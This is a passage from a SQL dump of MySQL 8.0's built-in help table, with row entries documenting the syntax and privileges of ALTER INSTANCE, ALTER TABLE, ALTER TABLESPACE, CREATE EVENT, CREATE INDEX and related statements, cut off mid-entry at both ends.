https://dev.mysql.com/doc/refman/8.0/en/alter-function.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-function.html'),(508,'ALTER INSTANCE',40,'Syntax:\nALTER INSTANCE instance_action\n\ninstance_action: {\n | {ENABLE|DISABLE} INNODB REDO_LOG\n | ROTATE INNODB MASTER KEY\n | ROTATE BINLOG MASTER KEY\n | RELOAD TLS\n [FOR CHANNEL {mysql_main | mysql_admin}]\n [NO ROLLBACK ON ERROR]\n | RELOAD KEYRING\n}\n\nALTER INSTANCE defines actions applicable to a MySQL server instance.\nThe statement supports these actions:\n\no ALTER INSTANCE {ENABLE | DISABLE} INNODB REDO_LOG\n\n This action enables or disables InnoDB redo logging. Redo logging is\n enabled by default. This feature is intended only for loading data\n into a new MySQL instance. The statement is not written to the binary\n log. This action was introduced in MySQL 8.0.21.\n\n *Warning*:\n\n Do not disable redo logging on a production system. While it is\n permitted to shut down and restart the server while redo logging is\n disabled, an unexpected server stoppage while redo logging is\n disabled can cause data loss and instance corruption.\n\n An ALTER INSTANCE [ENABLE|DISABLE] INNODB REDO_LOG operation requires\n an exclusive backup lock, which prevents other ALTER INSTANCE\n operations from executing concurrently. Other ALTER INSTANCE\n operations must wait for the lock to be released before executing.\n\n For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/innodb-redo-log.html#innodb-d\n isable-redo-logging.\n\no ALTER INSTANCE ROTATE INNODB MASTER KEY\n\n This action rotates the master encryption key used for InnoDB\n tablespace encryption. Key rotation requires the ENCRYPTION_KEY_ADMIN\n or SUPER privilege. To perform this action, a keyring plugin must be\n installed and configured. For instructions, see\n https://dev.mysql.com/doc/refman/8.0/en/keyring.html.\n\n ALTER INSTANCE ROTATE INNODB MASTER KEY supports concurrent DML.\n However, it cannot be run concurrently with CREATE TABLE ...\n ENCRYPTION or ALTER TABLE ... ENCRYPTION operations, and locks are\n taken to prevent conflicts that could arise from concurrent execution\n of these statements. If one of the conflicting statements is running,\n it must complete before another can proceed.\n\n ALTER INSTANCE ROTATE INNODB MASTER KEY statements are written to the\n binary log so that they can be executed on replicated servers.\n\n For additional ALTER INSTANCE ROTATE INNODB MASTER KEY usage\n information, see\n https://dev.mysql.com/doc/refman/8.0/en/innodb-data-encryption.html.\n\no ALTER INSTANCE ROTATE BINLOG MASTER KEY\n\n This action rotates the binary log master key used for binary log\n encryption. Key rotation for the binary log master key requires the\n BINLOG_ENCRYPTION_ADMIN or SUPER privilege. The statement cannot be\n used if the binlog_encryption system variable is set to OFF. To\n perform this action, a keyring plugin must be installed and\n configured. For instructions, see\n https://dev.mysql.com/doc/refman/8.0/en/keyring.html.\n\n ALTER INSTANCE ROTATE BINLOG MASTER KEY actions are not written to\n the binary log and are not executed on replicas. Binary log master\n key rotation can therefore be carried out in replication environments\n including a mix of MySQL versions. To schedule regular rotation of\n the binary log master key on all applicable source and replica\n servers, you can enable the MySQL Event Scheduler on each server and\n issue the ALTER INSTANCE ROTATE BINLOG MASTER KEY statement using a\n CREATE EVENT statement. If you rotate the binary log master key\n because you suspect that the current or any of the previous binary\n log master keys might have been compromised, issue the statement on\n every applicable source and replica server, which enables you to\n verify immediate compliance.\n\n For additional ALTER INSTANCE ROTATE BINLOG MASTER KEY usage\n information, including what to do if the process does not complete\n correctly or is interrupted by an unexpected server halt, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-binlog-encryption\n .html.\n\no ALTER INSTANCE RELOAD TLS\n\n This action reconfigures a TLS context from the current values of the\n system variables that define the context. It also updates the status\n variables that reflect the active context values. This action\n requires the CONNECTION_ADMIN privilege. For additional information\n about reconfiguring the TLS context, including which system and\n status variables are context-related, see\n https://dev.mysql.com/doc/refman/8.0/en/using-encrypted-connections.h\n tml#using-encrypted-connections-server-side-runtime-configuration.\n\n By default, the statement reloads the TLS context for the main\n connection interface. If the FOR CHANNEL clause (available as of\n MySQL 8.0.21) is given, the statement reloads the TLS context for the\n named channel: mysql_main for the main connection interface,\n mysql_admin for the administrative connection interface. For\n information about the different interfaces, see\n https://dev.mysql.com/doc/refman/8.0/en/connection-interfaces.html.\n The updated TLS context properties are exposed in the Performance\n Schema tls_channel_status table. See\n https://dev.mysql.com/doc/refman/8.0/en/performance-schema-tls-channe\n l-status-table.html.\n\n Updating the TLS context for the main interface may also affect the\n administrative interface because unless some nondefault TLS value is\n configured for that interface, it uses the same TLS context as the\n main interface.\n\n *Note*:\n\n When you reload the TLS context, OpenSSL reloads the file containing\n the CRL (certificate revocation list) as part of the process. If the\n CRL file is large, the server allocates a large chunk of memory (ten\n times the file size), which is doubled while the new instance is\n being loaded and the old one has not yet been released. The process\n resident memory is not immediately reduced after a large allocation\n is freed, so if you issue the ALTER INSTANCE RELOAD TLS statement\n repeatedly with a large CRL file, the process resident memory usage\n may grow as a result of this.\n\n By default, the RELOAD TLS action rolls back with an error and has no\n effect if the configuration values do not permit creation of the new\n TLS context. The previous context values continue to be used for new\n connections. If the optional NO ROLLBACK ON ERROR clause is given and\n the new context cannot be created, rollback does not occur. Instead,\n a warning is generated and encryption is disabled for new connections\n on the interface to which the statement applies.\n\n ALTER INSTANCE RELOAD TLS statements are not written to the binary\n log (and thus are not replicated). TLS configuration is local and\n depends on local files not necessarily present on all servers\n involved.\n\no ALTER INSTANCE RELOAD KEYRING\n\n If a keyring component is installed, this action tells the component\n to re-read its configuration file and reinitialize any keyring\n in-memory data. If you modify the component configuration at runtime,\n the new configuration does not take effect until you perform this\n action. Keyring reloading requires the ENCRYPTION_KEY_ADMIN\n privilege. This action was added in MySQL 8.0.24.\n\n This action enables reconfiguring only the currently installed\n keyring component. It does not enable changing which component is\n installed. For example, if you change the configuration for the\n installed keyring component, ALTER INSTANCE RELOAD KEYRING causes the\n new configuration to take effect. On the other hand, if you change\n the keyring component named in the server manifest file, ALTER\n INSTANCE RELOAD KEYRING has no effect and the current component\n remains installed.\n\n ALTER INSTANCE RELOAD KEYRING statements are not written to the\n binary log (and thus are not replicated).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-instance.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-instance.html'),(509,'ALTER LOGFILE GROUP',40,'Syntax:\nALTER LOGFILE GROUP logfile_group\n ADD UNDOFILE \'file_name\'\n [INITIAL_SIZE [=] size]\n [WAIT]\n ENGINE [=] engine_name\n\nThis statement adds an UNDO file named \'file_name\' to an existing log\nfile group logfile_group. An ALTER LOGFILE GROUP statement has one and\nonly one ADD UNDOFILE clause. No DROP UNDOFILE clause is currently\nsupported.\n\n*Note*:\n\nAll NDB Cluster Disk Data objects share the same namespace. This means\nthat each Disk Data object must be uniquely named (and not merely each\nDisk Data object of a given type). For example, you cannot have a\ntablespace and an undo log file with the same name, or an undo log file\nand a data file with the same name.\n\nThe optional INITIAL_SIZE parameter sets the UNDO file\'s initial size\nin bytes; if not specified, the initial size defaults to 134217728 (128\nMB). You may optionally follow size with a one-letter abbreviation for\nan order of magnitude, similar to those used in my.cnf. Generally, this\nis one of the letters M (megabytes) or G (gigabytes). (Bug #13116514,\nBug #16104705, Bug #62858)\n\nOn 32-bit systems, the maximum supported value for INITIAL_SIZE is\n4294967296 (4 GB). (Bug #29186)\n\nThe minimum allowed value for INITIAL_SIZE is 1048576 (1 MB). (Bug\n#29574)\n\n*Note*:\n\nWAIT is parsed but otherwise ignored. This keyword currently has no\neffect, and is intended for future expansion.\n\nThe ENGINE parameter (required) determines the storage engine which is\nused by this log file group, with engine_name being the name of the\nstorage engine. Currently, the only accepted values for engine_name are\n\"NDBCLUSTER\" and \"NDB\". The two values are equivalent.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-logfile-group.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-logfile-group.html'),(510,'ALTER PROCEDURE',40,'Syntax:\nALTER PROCEDURE proc_name [characteristic ...]\n\ncharacteristic: {\n COMMENT \'string\'\n | LANGUAGE SQL\n | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }\n | SQL SECURITY { DEFINER | INVOKER }\n}\n\nThis statement can be used to change the characteristics of a stored\nprocedure. More than one change may be specified in an ALTER PROCEDURE\nstatement. However, you cannot change the parameters or body of a\nstored procedure using this statement; to make such changes, you must\ndrop and re-create the procedure using DROP PROCEDURE and CREATE\nPROCEDURE.\n\nYou must have the ALTER ROUTINE privilege for the procedure. By\ndefault, that privilege is granted automatically to the procedure\ncreator. This behavior can be changed by disabling the\nautomatic_sp_privileges system variable. See\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-routines-privileges.html\n.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-procedure.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-procedure.html'),(511,'ALTER SERVER',40,'Syntax:\nALTER SERVER server_name\n OPTIONS (option [, option] ...)\n\nAlters the server information for server_name, adjusting any of the\noptions permitted in the CREATE SERVER statement. The corresponding\nfields in the mysql.servers table are updated accordingly. This\nstatement requires the SUPER privilege.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-server.html\n\n','ALTER SERVER s OPTIONS (USER \'sally\');\n','https://dev.mysql.com/doc/refman/8.0/en/alter-server.html'),(512,'ALTER TABLE',40,'Syntax:\nALTER TABLE tbl_name\n [alter_option [, alter_option] ...]\n [partition_options]\n\nalter_option: {\n table_options\n | ADD [COLUMN] col_name column_definition\n [FIRST | AFTER col_name]\n | ADD [COLUMN] (col_name column_definition,...)\n | ADD {INDEX | KEY} [index_name]\n [index_type] (key_part,...) [index_option] ...\n | ADD {FULLTEXT | SPATIAL} [INDEX | KEY] [index_name]\n (key_part,...) [index_option] ...\n | ADD [CONSTRAINT [symbol]] PRIMARY KEY\n [index_type] (key_part,...)\n [index_option] ...\n | ADD [CONSTRAINT [symbol]] UNIQUE [INDEX | KEY]\n [index_name] [index_type] (key_part,...)\n [index_option] ...\n | ADD [CONSTRAINT [symbol]] FOREIGN KEY\n [index_name] (col_name,...)\n reference_definition\n | ADD [CONSTRAINT [symbol]] CHECK (expr) [[NOT] ENFORCED]\n | DROP {CHECK | CONSTRAINT} symbol\n | ALTER {CHECK | CONSTRAINT} symbol [NOT] ENFORCED\n | ALGORITHM [=] {DEFAULT | INSTANT | INPLACE | COPY}\n | ALTER [COLUMN] col_name {\n SET DEFAULT {literal | (expr)}\n | SET {VISIBLE | INVISIBLE}\n | DROP DEFAULT\n }\n | ALTER INDEX index_name {VISIBLE | INVISIBLE}\n | CHANGE [COLUMN] old_col_name new_col_name column_definition\n [FIRST | AFTER col_name]\n | [DEFAULT] CHARACTER SET [=] charset_name [COLLATE [=] collation_name]\n | CONVERT TO CHARACTER SET charset_name [COLLATE collation_name]\n | {DISABLE | ENABLE} KEYS\n | {DISCARD | IMPORT} TABLESPACE\n | DROP [COLUMN] col_name\n | DROP {INDEX | KEY} index_name\n | DROP PRIMARY KEY\n | DROP FOREIGN KEY fk_symbol\n | FORCE\n | LOCK [=] {DEFAULT | NONE | SHARED | EXCLUSIVE}\n | MODIFY [COLUMN] col_name column_definition\n [FIRST | AFTER col_name]\n | ORDER BY col_name [, col_name] ...\n | RENAME COLUMN old_col_name TO new_col_name\n | RENAME {INDEX | KEY} old_index_name TO new_index_name\n | RENAME [TO | AS] new_tbl_name\n | {WITHOUT | WITH} VALIDATION\n}\n\npartition_options:\n partition_option [partition_option] ...\n\npartition_option: {\n ADD PARTITION (partition_definition)\n | DROP PARTITION partition_names\n | DISCARD PARTITION {partition_names | ALL} TABLESPACE\n | IMPORT PARTITION {partition_names | ALL} TABLESPACE\n | TRUNCATE PARTITION {partition_names | ALL}\n | COALESCE PARTITION number\n | REORGANIZE PARTITION partition_names INTO (partition_definitions)\n | EXCHANGE PARTITION partition_name WITH TABLE tbl_name [{WITH | WITHOUT} VALIDATION]\n | ANALYZE PARTITION {partition_names | ALL}\n | CHECK PARTITION {partition_names | ALL}\n | OPTIMIZE PARTITION {partition_names | ALL}\n | REBUILD PARTITION {partition_names | ALL}\n | REPAIR PARTITION {partition_names | ALL}\n | REMOVE PARTITIONING\n}\n\nkey_part: {col_name [(length)] | (expr)} [ASC | DESC]\n\nindex_type:\n USING {BTREE | HASH}\n\nindex_option: {\n KEY_BLOCK_SIZE [=] value\n | index_type\n | WITH PARSER parser_name\n | COMMENT \'string\'\n | {VISIBLE | INVISIBLE}\n}\n\ntable_options:\n table_option [[,] table_option] ...\n\ntable_option: {\n AUTOEXTEND_SIZE [=] value\n | AUTO_INCREMENT [=] value\n | AVG_ROW_LENGTH [=] value\n | [DEFAULT] CHARACTER SET [=] charset_name\n | CHECKSUM [=] {0 | 1}\n | [DEFAULT] COLLATE [=] collation_name\n | COMMENT [=] \'string\'\n | COMPRESSION [=] {\'ZLIB\' | \'LZ4\' | \'NONE\'}\n | CONNECTION [=] \'connect_string\'\n | {DATA | INDEX} DIRECTORY [=] \'absolute path to directory\'\n | DELAY_KEY_WRITE [=] {0 | 1}\n | ENCRYPTION [=] {\'Y\' | \'N\'}\n | ENGINE [=] engine_name\n | ENGINE_ATTRIBUTE [=] \'string\'\n | INSERT_METHOD [=] { NO | FIRST | LAST }\n | KEY_BLOCK_SIZE [=] value\n | MAX_ROWS [=] value\n | MIN_ROWS [=] value\n | PACK_KEYS [=] {0 | 1 | DEFAULT}\n | PASSWORD [=] \'string\'\n | ROW_FORMAT [=] {DEFAULT | DYNAMIC | FIXED | COMPRESSED | REDUNDANT | COMPACT}\n | SECONDARY_ENGINE_ATTRIBUTE [=] \'string\'\n | STATS_AUTO_RECALC [=] {DEFAULT | 0 | 1}\n | STATS_PERSISTENT [=] {DEFAULT | 0 | 1}\n | STATS_SAMPLE_PAGES [=] value\n | TABLESPACE tablespace_name [STORAGE {DISK | MEMORY}]\n | UNION [=] (tbl_name[,tbl_name]...)\n}\n\npartition_options:\n (see CREATE TABLE options)\n\nALTER TABLE changes the structure of a table. For example, you can add\nor delete columns, create or destroy indexes, change the type of\nexisting columns, or rename columns or the table itself. You can also\nchange characteristics such as the storage engine used for the table or\nthe table comment.\n\no To use ALTER TABLE, you need ALTER, CREATE, and INSERT privileges for\n the table. Renaming a table requires ALTER and DROP on the old table,\n ALTER, CREATE, and INSERT on the new table.\n\no Following the table name, specify the alterations to be made. If none\n are given, ALTER TABLE does nothing.\n\no The syntax for many of the permissible alterations is similar to\n clauses of the CREATE TABLE statement. column_definition clauses use\n the same syntax for ADD and CHANGE as for CREATE TABLE. For more\n information, see [HELP CREATE TABLE].\n\no The word COLUMN is optional and can be omitted, except for RENAME\n COLUMN (to distinguish a column-renaming operation from the RENAME\n table-renaming operation).\n\no Multiple ADD, ALTER, DROP, and CHANGE clauses are permitted in a\n single ALTER TABLE statement, separated by commas. This is a MySQL\n extension to standard SQL, which permits only one of each clause per\n ALTER TABLE statement. For example, to drop multiple columns in a\n single statement, do this:\n\nALTER TABLE t2 DROP COLUMN c, DROP COLUMN d;\n\no If a storage engine does not support an attempted ALTER TABLE\n operation, a warning may result. Such warnings can be displayed with\n SHOW WARNINGS. See [HELP SHOW WARNINGS]. For information on\n troubleshooting ALTER TABLE, see\n https://dev.mysql.com/doc/refman/8.0/en/alter-table-problems.html.\n\no For information about generated columns, see\n https://dev.mysql.com/doc/refman/8.0/en/alter-table-generated-columns\n .html.\n\no For usage examples, see\n https://dev.mysql.com/doc/refman/8.0/en/alter-table-examples.html.\n\no InnoDB in MySQL 8.0.17 and later supports addition of multi-valued\n indexes on JSON columns using a key_part specification can take the\n form (CAST json_path AS type ARRAY). See\n https://dev.mysql.com/doc/refman/8.0/en/create-index.html#create-inde\n x-multi-valued, for detailed information regarding multi-valued index\n creation and usage of, as well as restrictions and limitations on\n multi-valued indexes.\n\no With the mysql_info()\n (https://dev.mysql.com/doc/c-api/8.0/en/mysql-info.html) C API\n function, you can find out how many rows were copied by ALTER TABLE.\n See mysql_info()\n (https://dev.mysql.com/doc/c-api/8.0/en/mysql-info.html).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-table.html'),(513,'ALTER TABLESPACE',40,'Syntax:\nALTER [UNDO] TABLESPACE tablespace_name\n NDB only:\n {ADD | DROP} DATAFILE \'file_name\'\n [INITIAL_SIZE [=] size]\n [WAIT]\n InnoDB and NDB:\n [RENAME TO tablespace_name]\n InnoDB only:\n [AUTOEXTEND_SIZE [=] \'value\']\n [SET {ACTIVE | INACTIVE}]\n [ENCRYPTION [=] {\'Y\' | \'N\'}]\n InnoDB and NDB:\n [ENGINE [=] engine_name]\n Reserved for future use:\n [ENGINE_ATTRIBUTE [=] \'string\']\n\nThis statement is used with NDB and InnoDB tablespaces. It can be used\nto add a new data file to, or to drop a data file from an NDB\ntablespace. It can also be used to rename an NDB Cluster Disk Data\ntablespace, rename an InnoDB general tablespace, encrypt an InnoDB\ngeneral tablespace, or mark an InnoDB undo tablespace as active or\ninactive.\n\nThe UNDO keyword, introduced in MySQL 8.0.14, is used with the SET\n{ACTIVE | INACTIVE} clause to mark an InnoDB undo tablespace as active\nor inactive. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-undo-tablespaces.html.\n\nThe ADD DATAFILE variant enables you to specify an initial size for an\nNDB Disk Data tablespace using an INITIAL_SIZE clause, where size is\nmeasured in bytes; the default value is 134217728 (128 MB). You may\noptionally follow size with a one-letter abbreviation for an order of\nmagnitude, similar to those used in my.cnf. Generally, this is one of\nthe letters M (megabytes) or G (gigabytes).\n\nOn 32-bit systems, the maximum supported value for INITIAL_SIZE is\n4294967296 (4 GB). (Bug #29186)\n\nINITIAL_SIZE is rounded, explicitly, as for CREATE TABLESPACE.\n\nOnce a data file has been created, its size cannot be changed; however,\nyou can add more data files to an NDB tablespace using additional ALTER\nTABLESPACE ... ADD DATAFILE statements.\n\nWhen ALTER TABLESPACE ... ADD DATAFILE is used with ENGINE = NDB, a\ndata file is created on each Cluster data node, but only one row is\ngenerated in the Information Schema FILES table. See the description of\nthis table, as well as\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-cluster-disk-data-objects\n.html, for more information. ADD DATAFILE is not supported with InnoDB\ntablespaces.\n\nUsing DROP DATAFILE with ALTER TABLESPACE drops the data file\n\'file_name\' from an NDB tablespace. You cannot drop a data file from a\ntablespace which is in use by any table; in other words, the data file\nmust be empty (no extents used). See\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-cluster-disk-data-objects\n.html. In addition, any data file to be dropped must previously have\nbeen added to the tablespace with CREATE TABLESPACE or ALTER\nTABLESPACE. DROP DATAFILE is not supported with InnoDB tablespaces.\n\nWAIT is parsed but otherwise ignored. It is intended for future\nexpansion.\n\nThe ENGINE clause, which specifies the storage engine used by the\ntablespace, is deprecated; expect it to be removed in a future release.\nThe tablespace storage engine is known by the data dictionary, making\nthe ENGINE clause obsolete. If the storage engine is specified, it must\nmatch the tablespace storage engine defined in the data dictionary. The\nonly values for engine_name compatible with NDB tablespaces are NDB and\nNDBCLUSTER.\n\nRENAME TO operations are implicitly performed in autocommit mode,\nregardless of the autocommit setting.\n\nA RENAME TO operation cannot be performed while LOCK TABLES or FLUSH\nTABLES WITH READ LOCK is in effect for tables that reside in the\ntablespace.\n\nExclusive metadata locks are taken on tables that reside in a general\ntablespace while the tablespace is renamed, which prevents concurrent\nDDL. Concurrent DML is supported.\n\nThe CREATE TABLESPACE privilege is required to rename an InnoDB general\ntablespace.\n\nThe AUTOEXTEND_SIZE option defines the amount by which InnoDB extends\nthe size of a tablespace when it becomes full. Introduced in MySQL\n8.0.23. The setting must be a multiple of 4MB. The default setting is\n0, which causes the tablespace to be extended according to the implicit\ndefault behavior. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-tablespace-autoextend-si\nze.html.\n\nThe ENCRYPTION clause enables or disables page-level data encryption\nfor an InnoDB general tablespace or the mysql system tablespace.\nEncryption support for general tablespaces was introduced in MySQL\n8.0.13. Encryption support for the mysql system tablespace was\nintroduced in MySQL 8.0.16.\n\nA keyring plugin must be installed and configured before encryption can\nbe enabled.\n\nAs of MySQL 8.0.16, if the table_encryption_privilege_check variable is\nenabled, the TABLE_ENCRYPTION_ADMIN privilege is required to alter a\ngeneral tablespace with an ENCRYPTION clause setting that differs from\nthe default_table_encryption setting.\n\nEnabling encryption for a general tablespace fails if any table in the\ntablespace belongs to a schema defined with DEFAULT ENCRYPTION=\'N\'.\nSimilarly, disabling encryption fails if any table in the general\ntablespace belongs to a schema defined with DEFAULT ENCRYPTION=\'Y\'. The\nDEFAULT ENCRYPTION schema option was introduced in MySQL 8.0.16.\n\nIf an ALTER TABLESPACE statement executed on a general tablespace does\nnot include an ENCRYPTION clause, the tablespace retains its current\nencryption status, regardless of the default_table_encryption setting.\n\nWhen a general tablespace or the mysql system tablespace is encrypted,\nall tables residing in the tablespace are encrypted. Likewise, a table\ncreated in an encrypted tablespace is encrypted.\n\nThe INPLACE algorithm is used when altering the ENCRYPTION attribute of\na general tablespace or the mysql system tablespace. The INPLACE\nalgorithm permits concurrent DML on tables that reside in the\ntablespace. Concurrent DDL is blocked.\n\nFor more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-data-encryption.html.\n\nThe ENGINE_ATTRIBUTE option (available as of MySQL 8.0.21) is used to\nspecify tablespace attributes for primary storage engines. The option\nis reserved for future use.\n\nPermitted values are a string literal containing a valid JSON document\nor an empty string (\'\'). Invalid JSON is rejected.\n\nALTER TABLESPACE ts1 ENGINE_ATTRIBUTE=\'{\"key\":\"value\"}\';\n\nENGINE_ATTRIBUTE values can be repeated without error. In this case,\nthe last specified value is used.\n\nENGINE_ATTRIBUTE values are not checked by the server, nor are they\ncleared when the table\'s storage engine is changed.\n\nIt is not permitted to alter an individual element of a JSON attribute\nvalue. You can only add or replace an attribute.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-tablespace.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-tablespace.html'),(514,'ALTER VIEW',40,'Syntax:\nALTER\n [ALGORITHM = {UNDEFINED | MERGE | TEMPTABLE}]\n [DEFINER = user]\n [SQL SECURITY { DEFINER | INVOKER }]\n VIEW view_name [(column_list)]\n AS select_statement\n [WITH [CASCADED | LOCAL] CHECK OPTION]\n\nThis statement changes the definition of a view, which must exist. The\nsyntax is similar to that for CREATE VIEW see [HELP CREATE VIEW]). This\nstatement requires the CREATE VIEW and DROP privileges for the view,\nand some privilege for each column referred to in the SELECT statement.\nALTER VIEW is permitted only to the definer or users with the\nSET_USER_ID privilege (or the deprecated SUPER privilege).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-view.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-view.html'),(515,'CREATE DATABASE',40,'Syntax:\nCREATE {DATABASE | SCHEMA} [IF NOT EXISTS] db_name\n [create_option] ...\n\ncreate_option: [DEFAULT] {\n CHARACTER SET [=] charset_name\n | COLLATE [=] collation_name\n | ENCRYPTION [=] {\'Y\' | \'N\'}\n}\n\nCREATE DATABASE creates a database with the given name. To use this\nstatement, you need the CREATE privilege for the database. CREATE\nSCHEMA is a synonym for CREATE DATABASE.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-database.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-database.html'),(516,'CREATE SCHEMA',40,'Syntax:\nCREATE {DATABASE | SCHEMA} [IF NOT EXISTS] db_name\n [create_option] ...\n\ncreate_option: [DEFAULT] {\n CHARACTER SET [=] charset_name\n | COLLATE [=] collation_name\n | ENCRYPTION [=] {\'Y\' | \'N\'}\n}\n\nCREATE DATABASE creates a database with the given name. To use this\nstatement, you need the CREATE privilege for the database. CREATE\nSCHEMA is a synonym for CREATE DATABASE.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-database.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-database.html'),(517,'CREATE EVENT',40,'Syntax:\nCREATE\n [DEFINER = user]\n EVENT\n [IF NOT EXISTS]\n event_name\n ON SCHEDULE schedule\n [ON COMPLETION [NOT] PRESERVE]\n [ENABLE | DISABLE | DISABLE ON SLAVE]\n [COMMENT \'string\']\n DO event_body;\n\nschedule: {\n AT timestamp [+ INTERVAL interval] ...\n | EVERY interval\n [STARTS timestamp [+ INTERVAL interval] ...]\n [ENDS timestamp [+ INTERVAL interval] ...]\n}\n\ninterval:\n quantity {YEAR | QUARTER | MONTH | DAY | HOUR | MINUTE |\n WEEK | SECOND | YEAR_MONTH | DAY_HOUR | DAY_MINUTE |\n DAY_SECOND | HOUR_MINUTE | HOUR_SECOND | MINUTE_SECOND}\n\nThis statement creates and schedules a new event. The event does not\nrun unless the Event Scheduler is enabled. For information about\nchecking Event Scheduler status and enabling it if necessary, see\nhttps://dev.mysql.com/doc/refman/8.0/en/events-configuration.html.\n\nCREATE EVENT requires the EVENT privilege for the schema in which the\nevent is to be created. If the DEFINER clause is present, the\nprivileges required depend on the user value, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html.\n\nThe minimum requirements for a valid CREATE EVENT statement are as\nfollows:\n\no The keywords CREATE EVENT plus an event name, which uniquely\n identifies the event in a database schema.\n\no An ON SCHEDULE clause, which determines when and how often the event\n executes.\n\no A DO clause, which contains the SQL statement to be executed by an\n event.\n\nThis is an example of a minimal CREATE EVENT statement:\n\nCREATE EVENT myevent\n ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 HOUR\n DO\n UPDATE myschema.mytable SET mycol = mycol + 1;\n\nThe previous statement creates an event named myevent. This event\nexecutes once---one hour following its creation---by running an SQL\nstatement that increments the value of the myschema.mytable table\'s\nmycol column by 1.\n\nThe event_name must be a valid MySQL identifier with a maximum length\nof 64 characters. Event names are not case-sensitive, so you cannot\nhave two events named myevent and MyEvent in the same schema. In\ngeneral, the rules governing event names are the same as those for\nnames of stored routines. See\nhttps://dev.mysql.com/doc/refman/8.0/en/identifiers.html.\n\nAn event is associated with a schema. If no schema is indicated as part\nof event_name, the default (current) schema is assumed. To create an\nevent in a specific schema, qualify the event name with a schema using\nschema_name.event_name syntax.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-event.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-event.html'),(518,'CREATE INDEX',40,'Syntax:\nCREATE [UNIQUE | FULLTEXT | SPATIAL] INDEX index_name\n [index_type]\n ON tbl_name (key_part,...)\n [index_option]\n [algorithm_option | lock_option] ...\n\nkey_part: {col_name [(length)] | (expr)} [ASC | DESC]\n\nindex_option: {\n KEY_BLOCK_SIZE [=] value\n | index_type\n | WITH PARSER parser_name\n | COMMENT \'string\'\n | {VISIBLE | INVISIBLE}\n | ENGINE_ATTRIBUTE [=] \'string\'\n | SECONDARY_ENGINE_ATTRIBUTE [=] \'string\'\n}\n\nindex_type:\n USING {BTREE | HASH}\n\nalgorithm_option:\n ALGORITHM [=] {DEFAULT | INPLACE | COPY}\n\nlock_option:\n LOCK [=] {DEFAULT | NONE | SHARED | EXCLUSIVE}\n\nNormally, you create all indexes on a table at the time the table\nitself is created with CREATE TABLE. See [HELP CREATE TABLE]. This\nguideline is especially important for InnoDB tables, where the primary\nkey determines the physical layout of rows in the data file. CREATE\nINDEX enables you to add indexes to existing tables.\n\nCREATE INDEX is mapped to an ALTER TABLE statement to create indexes.\nSee [HELP ALTER TABLE]. CREATE INDEX cannot be used to create a PRIMARY\nKEY; use ALTER TABLE instead. For more information about indexes, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-indexes.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-index.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-index.html'),(519,'CREATE LOGFILE GROUP',40,'Syntax:\nCREATE LOGFILE GROUP logfile_group\n ADD UNDOFILE \'undo_file\'\n [INITIAL_SIZE [=] initial_size]\n [UNDO_BUFFER_SIZE [=] undo_buffer_size]\n [REDO_BUFFER_SIZE [=] redo_buffer_size]\n [NODEGROUP [=] nodegroup_id]\n [WAIT]\n [COMMENT [=] \'string\']\n ENGINE [=] engine_name\n\nThis statement creates a new log file group named logfile_group having\na single UNDO file named \'undo_file\'. A CREATE LOGFILE GROUP statement\nhas one and only one ADD UNDOFILE clause. For rules covering the naming\nof log file groups, see\nhttps://dev.mysql.com/doc/refman/8.0/en/identifiers.html.\n\n*Note*:\n\nAll NDB Cluster Disk Data objects share the same namespace. This means\nthat each Disk Data object must be uniquely named (and not merely each\nDisk Data object of a given type). For example, you cannot have a\ntablespace and a log file group with the same name, or a tablespace and\na data file with the same name.\n\nThere can be only one log file group per NDB Cluster instance at any\ngiven time.\n\nThe optional INITIAL_SIZE parameter sets the UNDO file\'s initial size;\nif not specified, it defaults to 128M (128 megabytes). The optional\nUNDO_BUFFER_SIZE parameter sets the size used by the UNDO buffer for\nthe log file group; The default value for UNDO_BUFFER_SIZE is 8M (eight\nmegabytes); this value cannot exceed the amount of system memory\navailable. Both of these parameters are specified in bytes. You may\noptionally follow either or both of these with a one-letter\nabbreviation for an order of magnitude, similar to those used in\nmy.cnf. Generally, this is one of the letters M (for megabytes) or G\n(for gigabytes).\n\nMemory used for UNDO_BUFFER_SIZE comes from the global pool whose size\nis determined by the value of the SharedGlobalMemory data node\nconfiguration parameter. This includes any default value implied for\nthis option by the setting of the InitialLogFileGroup data node\nconfiguration parameter.\n\nThe maximum permitted for UNDO_BUFFER_SIZE is 629145600 (600 MB).\n\nOn 32-bit systems, the maximum supported value for INITIAL_SIZE is\n4294967296 (4 GB). (Bug #29186)\n\nThe minimum allowed value for INITIAL_SIZE is 1048576 (1 MB).\n\nThe ENGINE option determines the storage engine to be used by this log\nfile group, with engine_name being the name of the storage engine. In\nMySQL 8.0, this must be 